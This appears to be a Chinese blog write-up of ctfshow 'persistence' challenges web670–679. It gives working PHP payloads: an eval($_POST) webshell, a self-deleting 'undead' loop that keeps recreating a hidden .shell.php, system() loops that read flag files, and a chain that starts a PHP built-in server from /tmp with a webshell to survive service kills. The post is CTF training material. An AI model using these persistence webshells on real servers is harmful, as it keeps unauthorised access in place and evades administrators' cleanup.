ctfshow权限维持

1,web670

我们先看一下这个php代码

error_reporting(0);#关闭错误报告
highlight_file(__FILE__);#内容高亮显示

$a=$_GET['action'];#get传参

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");#获取url中的内容
        break;
    default:
        die('params not validate');#die函数会输出指定的字符串并终止脚本运行
}

params not validate
<?php
switch (expression) {
    case value1:
        // 代码块1
        break;
    case value2:
        // 代码块2
        break;
    // 更多的 case 语句
    default:
        // 如果没有匹配的值
}
?>
    expression 是要被比较的表达式。
    case value: 是可能的值,如果 expression 的值等于某个 case 的值,就执行相应的代码块。
    break; 用于终止 switch 语句,防止继续执行下一个 case。
    default: 是可选的,用于指定当没有匹配的 case 时执行的代码块。

通过上面的代码可以看出,我们提交check会获取check的内容

我们先通过cmd执行命令

查看一下phpinfo

看一下有没有禁用函数

发现没有

使用file_put_contents函数写文件

执行一下check试试

执行之后页面就变成403了

刚刚写的木马也没有了

应该是访问check,会执行里面的命令将整个html文件夹删除

通过写入不死马,绕过它的删除

如果文件删除方式是rm -rf *

可以利用它的缺陷,它无法删除点号开头的文件

成功写入,进行测试

文件还是没了,用的不是rm -rf * 的删除方式

只能使用不死马了

先介绍一下不死马

不死马
    脚本常驻内存:不死马脚本通过设置ignore_user_abort(true)和set_time_limit(0),使得脚本在执行时忽略用户中断,并且没有时间限制
循环生成木马文件:脚本会不断循环生成指定的木马文件,即使管理员删除了木马文件,脚本也会继续生成。
删除自身文件:为了隐藏痕迹,不死马脚本通常会在执行后删除自身文件特点。
    难以删除:由于脚本常驻内存,即使删除了生成的木马文件,脚本仍会继续生成新的木马文件。
隐蔽性高:通过删除自身文件和生成隐藏文件(如以.开头的文件),增加发现难度。
权限维持:常用于在服务器上维持攻击者的访问权限。

简单来说,不死马就是在执行的时候会先将自己删除,但它下面会有一个无线循环一直创建一句话木马。

我们看一下简单的不死马

<?php
    ignore_user_abort(true);#忽略用户中断
    set_time_limit(0);#设置无时间限制,一直执行
    unlink(__FILE__);#删除自身文件
    $file = '.shell.php'; 要生成的文件名
    $code = '<?php @eval($_POST[1]);?>'; #一句话木马
    while (1) {
        file_put_contents($file, $code);#写入木马文件,前面是文件名,后面是内容
        usleep(5000);#延迟时间
    }
?>

写入不死马

GET:?action=cmd

POST:cmd=file_put_contents('1.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'.shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

然后访问1.php,然后访问一下生成的木马,然后访问check

访问木马

读取flag

如果题目出网的话,可以试试反弹shell

2,wen671

和上一题差不多,直接上传不死马试试

这一次flag跑到根目录下面了

3,web672

和上面的题没什么区别,不过做了才知道

没问题,继续按照上面的步骤执行

还是在根目录下面

4,web673

还是一样继续不死马

没有访问check,没生成呢

5,web674

还是一样继续

6,web675

一样继续

7,web676

还是一样继续

8,web677

和上面的差不多,写不死马

发现写不进去了

通过前面,不死马的特性,我们可以知道,虽然访问http://checker/api/check,会删除文件,但无法杀死进程,我们可以通过执行无限循环的代码获取flag

while循环及应用shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园

我们构造一下

system('while true;do cat /f*;done');

通过while无限循环,读取根目录下的f开头的文件,如果知道完整路径可以将它写到一个文件中

也可以通过延时的方法读取文件

system('sleep 10;cat /f*');

先执行循环

再访问check

需要等个一分钟才出来

建议使用延时的脚本

9,web678

使用延时脚本

如果10秒弄不好可以调成其他的

10,web679

访问会停止一切web服务,那么我们需要在它停止的时候,再起来一个web服务

权限太低,启动不了nginx和php-frm,但php存在内置的服务器

基本用法
在命令行中,可以通过以下命令启动 PHP 内置服务器:
php -S <host>:<port> <router>
    <host>:服务器绑定的主机地址,通常是 localhost 或 127.0.0.1。
    <port>:服务器监听的端口号,例如 8000。
    <router>:一个 PHP 脚本文件,用于处理请求。如果省略,服务器会将所有请求映射到当前目录下的文件。

/tmp目录下可以写文件,开启php的命令,php -S 0.0.0.0:80

file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
一句话这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
将一句话木马写入到index.php文件中,然后cd到tmp,延时10秒开启php服务器,因为提前开启的服务也会被关掉

404了

我们等待一会

执行命令

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值